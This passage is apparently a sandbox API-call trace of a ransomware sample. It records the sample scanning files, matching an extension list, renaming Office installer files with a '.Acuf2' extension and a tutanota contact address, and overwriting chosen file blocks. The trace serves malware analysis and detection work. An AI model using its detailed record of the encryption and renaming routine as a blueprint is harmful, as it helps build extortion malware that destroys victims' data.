	[0060.334] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0060.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.334] lstrlenW (lpString=".1cd") returned 4
	[0060.334] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0060.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.334] lstrlenW (lpString=".jpg") returned 4
	[0060.334] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0060.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.334] lstrlenW (lpString=".doc") returned 4
	[0060.334] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0060.334] lstrlenW (lpString=".docx") returned 5
	[0060.334] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1
	[0060.334] lstrlenW (lpString=".pdf") returned 4
	[0060.334] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0060.334] lstrlenW (lpString=".xls") returned 4
	[0060.334] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0060.334] lstrlenW (lpString=".xlsx") returned 5
	[0060.334] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1
	[0060.334] lstrlenW (lpString=".ppt") returned 4
	[0060.334] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0060.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.334] lstrlenW (lpString=".zip") returned 4
	[0060.334] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0060.334] lstrlenW (lpString=".rar") returned 4
	[0060.334] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0060.334] lstrlenW (lpString=".bz2") returned 4
	[0060.334] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0060.334] lstrlenW (lpString=".7z") returned 3
	[0060.334] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0060.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.335] lstrlenW (lpString=".dbf") returned 4
	[0060.335] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0060.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.335] lstrlenW (lpString=".1cd") returned 4
	[0060.335] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0060.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned 61
	[0060.335] lstrlenW (lpString=".jpg") returned 4
	[0060.335] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0060.335] lstrcmpiW (lpString1=".FLT", lpString2=".Acuf2") returned 1
	[0060.335] lstrlenW (lpString="EPSIMP32.FLT") returned 12
	[0060.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 

Thread:
	id = 16
	os_tid = 0x978

	[0036.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x36212c8
	[0036.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x36312d0
	[0036.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5409d8
	[0036.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x54a110
	[0036.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5409f0
	[0036.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3b50020
	[0036.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a08
	[0036.909] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540a08, Size=0x20) returned 0x35d0138
	[0036.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x540a08
	[0036.909] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x540a08, Size=0x20) returned 0x35d0110
	[0036.909] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0036.910] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0036.910] Wow64DisableWow64FsRedirection (in: OldValue=0x335ff58 | out: OldValue=0x335ff58*=0x0) returned 1
	[0036.910] lstrlenW (lpString="kernel32.dll") returned 12
	[0036.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35d0138 | out: hHeap=0x4f0000) returned 1
	[0036.910] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0036.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35d0110 | out: hHeap=0x4f0000) returned 1
	[0036.910] Sleep (dwMilliseconds=0x64) 
	[0037.053] lstrcmpiW (lpString1=".LOG2", lpString2=".Acuf2") returned 1
	[0037.053] lstrlenW (lpString="BCD.LOG2") returned 8
	[0037.053] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164
	[0037.751] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=0) returned 1
	[0037.751] CloseHandle (hObject=0x164) returned 1
	[0037.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.751] lstrlenW (lpString=".doc") returned 4
	[0037.751] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0037.751] lstrlenW (lpString=".docx") returned 5
	[0037.751] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0037.751] lstrlenW (lpString=".pdf") returned 4
	[0037.751] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0037.751] lstrlenW (lpString=".xls") returned 4
	[0037.751] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0037.751] lstrlenW (lpString=".xlsx") returned 5
	[0037.751] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0037.751] lstrlenW (lpString=".ppt") returned 4
	[0037.751] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0037.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.751] lstrlenW (lpString=".zip") returned 4
	[0037.751] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0037.751] lstrlenW (lpString=".rar") returned 4
	[0037.751] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0037.751] lstrlenW (lpString=".bz2") returned 4
	[0037.751] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0037.751] lstrlenW (lpString=".7z") returned 3
	[0037.751] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0037.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.752] lstrlenW (lpString=".dbf") returned 4
	[0037.752] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.752] lstrlenW (lpString=".1cd") returned 4
	[0037.752] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.752] lstrlenW (lpString=".jpg") returned 4
	[0037.752] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.752] lstrlenW (lpString=".doc") returned 4
	[0037.752] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString=".docx") returned 5
	[0037.752] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0037.752] lstrlenW (lpString=".pdf") returned 4
	[0037.752] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString=".xls") returned 4
	[0037.752] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString=".xlsx") returned 5
	[0037.752] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0037.752] lstrlenW (lpString=".ppt") returned 4
	[0037.752] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.752] lstrlenW (lpString=".zip") returned 4
	[0037.752] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString=".rar") returned 4
	[0037.752] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0037.752] lstrlenW (lpString=".bz2") returned 4
	[0037.752] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0037.753] lstrlenW (lpString=".7z") returned 3
	[0037.753] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0037.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.753] lstrlenW (lpString=".dbf") returned 4
	[0037.753] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0037.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.753] lstrlenW (lpString=".1cd") returned 4
	[0037.753] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0037.753] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0037.753] lstrlenW (lpString=".jpg") returned 4
	[0037.753] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0037.753] Sleep (dwMilliseconds=0x64) 
	[0037.904] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0037.904] lstrlenW (lpString="PowerPointMUI.msi") returned 17
	[0037.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0037.905] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2503680) returned 1
	[0037.905] CloseHandle (hObject=0x174) returned 1
	[0037.905] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi")) returned 0x2020
	[0037.905] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0037.905] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0037.906] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0037.906] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0037.906] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0037.906] ReadFile (in: hFile=0x174, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0037.915] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0037.915] ReadFile (in: hFile=0x174, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0037.927] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0037.927] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0037.927] ReadFile (in: hFile=0x174, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0037.947] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0037.947] WriteFile (in: hFile=0x174, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc010e, lpOverlapped=0x0) returned 1
	[0038.142] SetEndOfFile (hFile=0x174) returned 1
	[0038.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ec46c8
	[0038.146] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.146] WriteFile (in: hFile=0x174, lpBuffer=0x3ec46c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec46c8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.147] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.147] WriteFile (in: hFile=0x174, lpBuffer=0x3ec46c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec46c8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.153] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0038.153] WriteFile (in: hFile=0x174, lpBuffer=0x3ec46c8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec46c8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0038.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ec46c8 | out: hHeap=0x4f0000) returned 1
	[0038.156] CloseHandle (hObject=0x174) returned 1
	[0038.998] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.998] lstrlenW (lpString=".doc") returned 4
	[0038.998] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0038.998] lstrlenW (lpString=".docx") returned 5
	[0038.998] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0038.998] lstrlenW (lpString=".pdf") returned 4
	[0038.998] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0038.998] lstrlenW (lpString=".xls") returned 4
	[0038.998] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0038.998] lstrlenW (lpString=".xlsx") returned 5
	[0038.998] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0038.998] lstrlenW (lpString=".ppt") returned 4
	[0038.998] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0038.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.998] lstrlenW (lpString=".zip") returned 4
	[0038.998] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0038.998] lstrlenW (lpString=".rar") returned 4
	[0038.998] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0038.999] lstrlenW (lpString=".bz2") returned 4
	[0038.999] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0038.999] lstrlenW (lpString=".7z") returned 3
	[0038.999] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0038.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.999] lstrlenW (lpString=".dbf") returned 4
	[0038.999] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0038.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.999] lstrlenW (lpString=".1cd") returned 4
	[0038.999] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0038.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.999] lstrlenW (lpString=".jpg") returned 4
	[0038.999] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0038.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.999] lstrlenW (lpString=".doc") returned 4
	[0038.999] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0038.999] lstrlenW (lpString=".docx") returned 5
	[0038.999] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1
	[0038.999] lstrlenW (lpString=".pdf") returned 4
	[0038.999] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0038.999] lstrlenW (lpString=".xls") returned 4
	[0038.999] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0038.999] lstrlenW (lpString=".xlsx") returned 5
	[0038.999] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1
	[0038.999] lstrlenW (lpString=".ppt") returned 4
	[0038.999] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0038.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0038.999] lstrlenW (lpString=".zip") returned 4
	[0038.999] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0038.999] lstrlenW (lpString=".rar") returned 4
	[0039.000] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0039.000] lstrlenW (lpString=".bz2") returned 4
	[0039.000] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0039.000] lstrlenW (lpString=".7z") returned 3
	[0039.000] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0039.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0039.000] lstrlenW (lpString=".dbf") returned 4
	[0039.000] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0039.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0039.000] lstrlenW (lpString=".1cd") returned 4
	[0039.000] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0039.000] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80
	[0039.000] lstrlenW (lpString=".jpg") returned 4
	[0039.000] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0039.000] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0039.000] lstrlenW (lpString="PublisherMUI.msi") returned 16
	[0039.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0039.000] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=2513920) returned 1
	[0039.000] CloseHandle (hObject=0x174) returned 1
	[0039.001] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020
	[0039.001] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.001] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0039.001] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174
	[0039.001] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1
	[0039.001] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0039.001] ReadFile (in: hFile=0x174, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0039.007] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0039.007] ReadFile (in: hFile=0x174, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0039.592] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0039.593] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1
	[0039.593] ReadFile (in: hFile=0x174, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0039.609] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.609] WriteFile (in: hFile=0x174, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc010c, lpOverlapped=0x0) returned 1
	[0039.628] SetEndOfFile (hFile=0x174) returned 1
	[0039.628] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3ed37b8
	[0039.628] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0039.628] WriteFile (in: hFile=0x174, lpBuffer=0x3ed37b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed37b8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0039.630] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0039.630] WriteFile (in: hFile=0x174, lpBuffer=0x3ed37b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed37b8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0039.636] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1
	[0039.636] WriteFile (in: hFile=0x174, lpBuffer=0x3ed37b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed37b8*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1
